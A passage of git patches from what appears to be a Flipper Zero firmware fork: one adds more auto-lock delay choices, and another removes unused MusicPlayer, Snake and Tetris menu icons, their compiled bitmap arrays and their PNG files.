auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = { "OFF", + "10s", + "15s", "30s", "60s", + "90s", "2min", "5min", "10min", }; const uint32_t auto_lock_delay_value[AUTO_LOCK_DELAY_COUNT] = - {0, 30000, 60000, 120000, 300000, 600000}; + {0, 10000, 15000, 30000, 60000, 90000, 120000, 300000, 600000}; static void desktop_settings_scene_start_var_list_enter_callback(void* context, uint32_t index) { DesktopSettingsApp* app = context; From 6cc2d47ed4fe3b45f2d4a6cb0b76c4e54315a68b Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Thu, 23 Jun 2022 08:44:33 +0300 Subject: [PATCH 338/461] remove unused icons --- applications/applications.c | 12 +++--- assets/compiled/assets_icons.c | 39 ------------------ assets/compiled/assets_icons.h | 3 -- .../icons/MainMenu/MusicPlayer_14/frame_0.png | Bin 149 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_1.png | Bin 148 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_2.png | Bin 141 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_3.png | Bin 147 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_4.png | Bin 144 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_rate | 1 - assets/icons/MainMenu/Snake_14/frame_01.png | Bin 146 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_02.png | Bin 148 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_03.png | Bin 146 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_04.png | Bin 148 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_05.png | Bin 160 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_06.png | Bin 148 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_07.png | Bin 160 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_08.png | Bin 96 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_09.png | Bin 114 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_10.png | Bin 129 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_11.png | Bin 139 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_12.png | Bin 138 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_13.png | Bin 138 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_14.png | Bin 140 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_15.png | Bin 141 -> 0 bytes assets/icons/MainMenu/Snake_14/frame_rate | 1 - assets/icons/MainMenu/Tetris_14/frame_01.png | Bin 161 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_02.png | Bin 159 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_03.png | Bin 153 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_04.png | Bin 141 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_05.png | Bin 124 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_06.png | Bin 144 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_07.png | Bin 124 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_08.png | Bin 144 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_09.png | Bin 129 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_10.png | Bin 154 -> 0 bytes assets/icons/MainMenu/Tetris_14/frame_rate | 1 - 36 files changed, 6 insertions(+), 51 deletions(-) delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_0.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_1.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_2.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_3.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_4.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_rate delete mode 100644 assets/icons/MainMenu/Snake_14/frame_01.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_02.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_03.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_04.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_05.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_06.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_07.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_08.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_09.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_10.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_11.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_12.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_13.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_14.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_15.png delete mode 100644 assets/icons/MainMenu/Snake_14/frame_rate delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_01.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_02.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_03.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_04.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_05.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_06.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_07.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_08.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_09.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_10.png delete mode 100644 assets/icons/MainMenu/Tetris_14/frame_rate diff --git a/applications/applications.c b/applications/applications.c index 4386782f0..0bde62a47 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -371,7 +371,7 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = music_player_app, .name = "Music Player", .stack_size = 2048, - .icon = &A_MusicPlayer_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif @@ -379,7 +379,7 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = wav_player_app, .name = "WAV Player", .stack_size = 4096, - .icon = &A_MusicPlayer_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif @@ -394,7 +394,7 @@ const FlipperApplication FLIPPER_GAMES[] = { {.app = snake_game_app, .name = "Snake", .stack_size = 1024, - .icon = &A_Snake_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif @@ -402,7 +402,7 @@ const FlipperApplication FLIPPER_GAMES[] = { {.app = tetris_game_app, .name = "Tetris", .stack_size = 1024, - .icon = &A_Tetris_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif @@ -411,7 +411,7 @@ const FlipperApplication FLIPPER_GAMES[] = { {.app = arkanoid_game_app, .name = "Arkanoid", .stack_size = 1024, - .icon = &A_Plugins_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif @@ -419,7 +419,7 @@ const FlipperApplication FLIPPER_GAMES[] = { {.app = tictactoe_game_app, .name = "Tic Tac Toe", .stack_size = 1024, - .icon = &A_Plugins_14, + .icon = NULL, .flags = FlipperApplicationFlagDefault}, #endif diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 2e2324561..ac345ba69 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -382,13 +382,6 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; -const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; -const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; -const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; -const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; -const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; -const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; - const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; @@ -433,23 +426,6 @@ const uint8_t _A_Settings_14_8[] = {0x00,0x00,0x09,0x06,0x05,0x0E,0x25,0x1C,0x19 const uint8_t _A_Settings_14_9[] = {0x00,0x03,0x07,0x87,0x04,0x8E,0x02,0x9C,0x32,0xF8,0x2C,0x50,0x20,0x30,0x1E,0x1E,0x03,0x81,0x04,0xCD,0x09,0x53,0x13,0x50,0x26,0x48,0x2C,0x38,0x18,}; const uint8_t* const _A_Settings_14[] = {_A_Settings_14_0,_A_Settings_14_1,_A_Settings_14_2,_A_Settings_14_3,_A_Settings_14_4,_A_Settings_14_5,_A_Settings_14_6,_A_Settings_14_7,_A_Settings_14_8,_A_Settings_14_9}; -const uint8_t _A_Snake_14_0[] = {0x01,0x00,0x15,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1a,0x3e,0x01,0x28,0x18,0x04,0xb8,0x60,0x12,0x02,0x88,0x4d,0x20,0x00,}; -const uint8_t _A_Snake_14_1[] = {0x01,0x00,0x15,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x28,0x18,0x04,0xb8,0x60,0x12,0x02,0x88,0x4d,0x20,0x00,}; -const uint8_t _A_Snake_14_2[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0x18,0x04,0xbc,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; -const uint8_t _A_Snake_14_3[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0xd8,0x04,0xbf,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; -const uint8_t _A_Snake_14_4[] = {0x01,0x00,0x19,0x00,0x00,0x0d,0x56,0x0b,0xaa,0x81,0x40,0x20,0x80,0x31,0xaa,0xc1,0x31,0x50,0x2a,0x88,0x1c,0x80,0x63,0x02,0x05,0x88,0x4c,0xe0,0x00,}; -const uint8_t _A_Snake_14_5[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0xd8,0x04,0xbf,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; -const uint8_t _A_Snake_14_6[] = {0x01,0x00,0x19,0x00,0x00,0x0d,0x56,0x0b,0xaa,0x81,0x40,0x20,0x80,0x31,0xaa,0xc1,0x31,0x50,0x2a,0x88,0x1c,0x80,0x63,0x02,0x05,0x88,0x4c,0xe0,0x00,}; -const uint8_t _A_Snake_14_7[] = {0x01,0x00,0x04,0x00,0x00,0x78,0x02,0xc0,}; -const uint8_t _A_Snake_14_8[] = {0x01,0x00,0x06,0x00,0x00,0x7f,0x00,0x02,0x40,0x07,}; -const uint8_t _A_Snake_14_9[] = {0x01,0x00,0x0b,0x00,0x00,0x0f,0xfc,0x02,0x40,0x09,0xe0,0x00,0x48,0x00,0xe0,}; -const uint8_t _A_Snake_14_10[] = {0x01,0x00,0x10,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0x40,0x04,0xe0,0x00,0x48,0x00,0xe0,}; -const uint8_t _A_Snake_14_11[] = {0x01,0x00,0x0e,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x08,0x86,0x60,}; -const uint8_t _A_Snake_14_12[] = {0x01,0x00,0x0f,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x09,0x02,0xda,0x00,}; -const uint8_t _A_Snake_14_13[] = {0x01,0x00,0x14,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x09,0x01,0x47,0xe1,0x07,0x00,0x88,0x64,0x40,}; -const uint8_t _A_Snake_14_14[] = {0x01,0x00,0x13,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xb0,0x38,0x37,0x0c,0x02,0x40,0x51,0x09,0xa4,0x00,}; -const uint8_t* const _A_Snake_14[] = {_A_Snake_14_0,_A_Snake_14_1,_A_Snake_14_2,_A_Snake_14_3,_A_Snake_14_4,_A_Snake_14_5,_A_Snake_14_6,_A_Snake_14_7,_A_Snake_14_8,_A_Snake_14_9,_A_Snake_14_10,_A_Snake_14_11,_A_Snake_14_12,_A_Snake_14_13,_A_Snake_14_14}; - const uint8_t _A_SpectrumAnalyzer_14_0[] = {0x01,0x00,0x1a,0x00,0x82,0x42,0x21,0x10,0x48,0x94,0x4a,0x29,0x0a,0xea,0xca,0x80,0x22,0x05,0x1e,0x94,0x4b,0x91,0x04,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; const uint8_t _A_SpectrumAnalyzer_14_1[] = {0x01,0x00,0x18,0x00,0x82,0x42,0x21,0x10,0x48,0x94,0x4a,0x29,0x0a,0xea,0x00,0x48,0x0a,0x3d,0x28,0x97,0x22,0x09,0xc4,0x84,0x70,0x20,0x00,0x15,}; const uint8_t _A_SpectrumAnalyzer_14_2[] = {0x01,0x00,0x16,0x00,0x82,0x42,0x21,0x10,0x48,0x84,0x08,0x02,0x3d,0x00,0x09,0x01,0x4f,0x91,0x04,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; @@ -474,18 +450,6 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; -const uint8_t _A_Tetris_14_0[] = {0x01,0x00,0x19,0x00,0x8e,0x40,0x22,0x90,0x0b,0xe4,0x02,0xa9,0x00,0xfe,0x40,0x6a,0x90,0x1e,0xe4,0x7e,0x81,0x15,0xf8,0x47,0xea,0x00,0x32,0x0d,0xa8,}; -const uint8_t _A_Tetris_14_1[] = {0x01,0x00,0x14,0x00,0x80,0x47,0xe0,0x11,0x50,0x19,0x40,0x3b,0x90,0x1a,0xa4,0x07,0xf9,0x1f,0xaa,0x45,0x40,0x6a,0x1a,0x50,}; -const uint8_t _A_Tetris_14_2[] = {0x01,0x00,0x12,0x00,0xaa,0x40,0x7f,0x90,0x1a,0x84,0x7e,0xe1,0x15,0xee,0x47,0xea,0x91,0x5f,0xe0,0x0e,0x03,0x6a,}; -const uint8_t _A_Tetris_14_3[] = {0x01,0x00,0x12,0x00,0x82,0xc0,0x20,0xf0,0x0f,0xec,0x7e,0xaf,0x15,0x01,0xbf,0xf2,0x3f,0x54,0x01,0x90,0x6d,0x40,}; -const uint8_t _A_Tetris_14_4[] = {0x01,0x00,0x0a,0x00,0x00,0x1f,0xfe,0x3f,0x55,0x8a,0x80,0xf4,0x2e,0xa0,}; -const uint8_t _A_Tetris_14_5[] = {0x01,0x00,0x10,0x00,0x00,0x1d,0x06,0x21,0xaa,0x85,0x01,0x44,0x06,0x30,0x10,0x3b,0x03,0xc4,0x2e,0xa0,}; -const uint8_t _A_Tetris_14_6[] = {0x01,0x00,0x0a,0x00,0x00,0x1f,0xfe,0x3f,0x55,0x8a,0x80,0xf4,0x2e,0xa0,}; -const uint8_t _A_Tetris_14_7[] = {0x01,0x00,0x10,0x00,0x00,0x1d,0x06,0x21,0xaa,0x85,0x01,0x44,0x06,0x30,0x10,0x3b,0x03,0xc4,0x2e,0xa0,}; -const uint8_t _A_Tetris_14_8[] = {0x01,0x00,0x09,0x00,0x00,0x14,0x7e,0x01,0x15,0x01,0xb0,0x03,0x80,}; -const uint8_t _A_Tetris_14_9[] = {0x01,0x00,0x10,0x00,0xa0,0x40,0x7e,0x10,0x1a,0x80,0x0c,0x81,0x89,0x1f,0x80,0x45,0x40,0x6c,0x00,0x40,}; -const uint8_t* const _A_Tetris_14[] = {_A_Tetris_14_0,_A_Tetris_14_1,_A_Tetris_14_2,_A_Tetris_14_3,_A_Tetris_14_4,_A_Tetris_14_5,_A_Tetris_14_6,_A_Tetris_14_7,_A_Tetris_14_8,_A_Tetris_14_9}; - const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; @@ -836,17 +800,14 @@ const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate= const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; -const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.frames=_A_Power_14}; const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; -const Icon A_Snake_14 = {.width=14,.height=14,.frame_count=15,.frame_rate=3,.frames=_A_Snake_14}; const Icon A_SpectrumAnalyzer_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_SpectrumAnalyzer_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; -const Icon A_Tetris_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Tetris_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; const Icon A_UniRFRemix_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_UniRFRemix_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index e89385a36..92432dcee 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -100,17 +100,14 @@ extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; -extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; extern const Icon A_Power_14; extern const Icon A_Settings_14; -extern const Icon A_Snake_14; extern const Icon A_SpectrumAnalyzer_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; -extern const Icon A_Tetris_14; extern const Icon A_U2F_14; extern const Icon A_UniRFRemix_14; extern const Icon A_iButton_14; diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_0.png b/assets/icons/MainMenu/MusicPlayer_14/frame_0.png deleted file mode 100644 index 9b20ba849018f60bece85ca0c8f2464192b4480d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 149 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}{+=$5AsQ36 zUh?K*P~cz*=zUlJG*dL>Uu&AA%^FWOhOCs50FIeE`OG&JyjmqyrpT~qm$&bg5A(zJ wp80;@H&bzv7-z&u*7M&MiHhZ)dH08@qFGGl!}2qhK%*HvUHx3vIVCg!0Pt}!$p8QV diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_1.png b/assets/icons/MainMenu/MusicPlayer_14/frame_1.png deleted file mode 100644 index 781d353be4cdab914805fa514fd4806c765034ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ3+ zPO|1>P~dPrTJc}|`pG4R5!%hM5)VG|Gi09mmHs7ZGJwL9{jSp o_4=Xa2hERZf8Y1-{<^b#(o5V-6A)a6qhMgDcf?5ylr;WQ~@O4)^K4W-fyjYIEN$nA5Q)G_U?TGfyL rmTjgpg=IQJw9{aKpmLtBsApbkdY3Ia|6WCjMNZK1JQ- sy2mA(Q>GiMdhedQyQ3@h<@@ImSu-NU<-I(TK(;b?y85}Sb4q9e0MURk)&Kwi diff --git a/assets/icons/MainMenu/Snake_14/frame_02.png b/assets/icons/MainMenu/Snake_14/frame_02.png deleted file mode 100644 index adc92431c16960996ec426f92bf6348767c652de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ36 zPP)y-pupk0{lowIoA;c&48`WUr=F9(dsoqc;rgK$h9c$+8)o}?&O4+dv6Acc+OnzI vDaV66jABo1UL4w)_e}N8xlNzH7aOUS)QHP>FFz**>tgu-H~m*LbS%+yzGZuiigTxz%`2TwX}OmdK II;Vst090=~Hvj+t diff --git a/assets/icons/MainMenu/Snake_14/frame_06.png b/assets/icons/MainMenu/Snake_14/frame_06.png deleted file mode 100644 index 50f2b6c22aa55453afb0f75e0d84492d0a446947..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ36 zPCCfNpupk0{lowIn|VejPW0UKP0Ty=;$0sbOMuv_<1cnFHiS-^6w`V$=%#F*JMY4{ vbw}#UL;ULPEobqWt8yi(&il08Qc`$PqLlc-i}~+?CNp@t`njxgN@xNAm)tT^ diff --git a/assets/icons/MainMenu/Snake_14/frame_07.png b/assets/icons/MainMenu/Snake_14/frame_07.png deleted file mode 100644 index 7325060b9d127f23d9f3f56bdf4f77681c5baf7f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 160 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}QJyZ2AsQ36 zPP)x?z<|S9`2YX;=jWMOmHKd<^%gk0G=MpSIWc;Y$y0ZZ6Wi4G9J;(JQs(k3)j*-i zRjMCf|Cm=Vy!o@mMqyb`6Nl$Nit@i*yn1TSyVKJBf9LdY&#~;5d+l7i7HA8Dr>mdK II;Vst090=~Hvj+t diff --git a/assets/icons/MainMenu/Snake_14/frame_08.png b/assets/icons/MainMenu/Snake_14/frame_08.png deleted file mode 100644 index 73767a1ef5b98ac1498c3416d3cafd47393fbc36..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 96 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Ql2i3AsQ2t s|NQ^|zn;yALD+JZn`vK`jF%MSL=F}SmaTg}16472y85}Sb4q9e0M82;E&u=k diff --git a/assets/icons/MainMenu/Snake_14/frame_09.png b/assets/icons/MainMenu/Snake_14/frame_09.png deleted file mode 100644 index f55a6a9a1a0187b35598b432c9a61d42f13b079b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 114 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}I-V|$AsQ2t z|NQ^|zn;yALD+JZo9U%kWguV%;;*?W2UQ(49C;TVP-J2F`i5PW?J;KwP#=S*tDnm{ Hr-UW|&(Izw diff --git a/assets/icons/MainMenu/Snake_14/frame_10.png b/assets/icons/MainMenu/Snake_14/frame_10.png deleted file mode 100644 index a5d9251c3e3b3be8a31b281888b2a0e223db6559..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R})}AhoAsQ3! zPCUrTV8Fw4e$wCYZNf_!UoO6qe}P-;w%UY-#T!q@a`G-X3zzStDmBdwcU~Pi6Fg;=Pfb3{ lp`dl0w~PFYYeUX?GG7Z3l(Y*!>kKrI!PC{xWt~$(697wXEdl@l diff --git a/assets/icons/MainMenu/Snake_14/frame_12.png b/assets/icons/MainMenu/Snake_14/frame_12.png deleted file mode 100644 index d36cc05f32c606429eb2c76dc88e1686361340f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 138 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}E}kxqAsQ3! zPITmAP~c!mKm5P`rk~@4g%w@TG}b7uzH>KIVS&sY*~Q7s8%`~q)E9aChjTzs#HmAC lw--NKfAEbj|J2EbjM`Fyl1EO3IRVXM@O1TaS?83{1ORt!E@uD$ diff --git a/assets/icons/MainMenu/Snake_14/frame_13.png b/assets/icons/MainMenu/Snake_14/frame_13.png deleted file mode 100644 index c584dda797eed7d66b76cdbe44a665e309fef11f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 138 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}E}kxqAsQ3! zPCUrPpupk${m}pask_-UJ0080LXJsGzk8R(;hFmQl!WXol}J_14R>!Hk?(PcIAwZq k)A7t@-=8iC40qkAUVl+g@@&=5QlNPZp00i_>zopr0EcHUi~s-t diff --git a/assets/icons/MainMenu/Snake_14/frame_14.png b/assets/icons/MainMenu/Snake_14/frame_14.png deleted file mode 100644 index 92070c0a0591ff2382d560d6769d921143c6699b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 140 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Zk{fVAsQ3! zPV(eqP~c!*-uAyFmuVILu-8g9Ms6Hnv%U} nt=RHeO@-q5S9Y(sIsg5>ZGv)qsrz|=CNg-s`njxgN@xNAk{d4s diff --git a/assets/icons/MainMenu/Snake_14/frame_15.png b/assets/icons/MainMenu/Snake_14/frame_15.png deleted file mode 100644 index 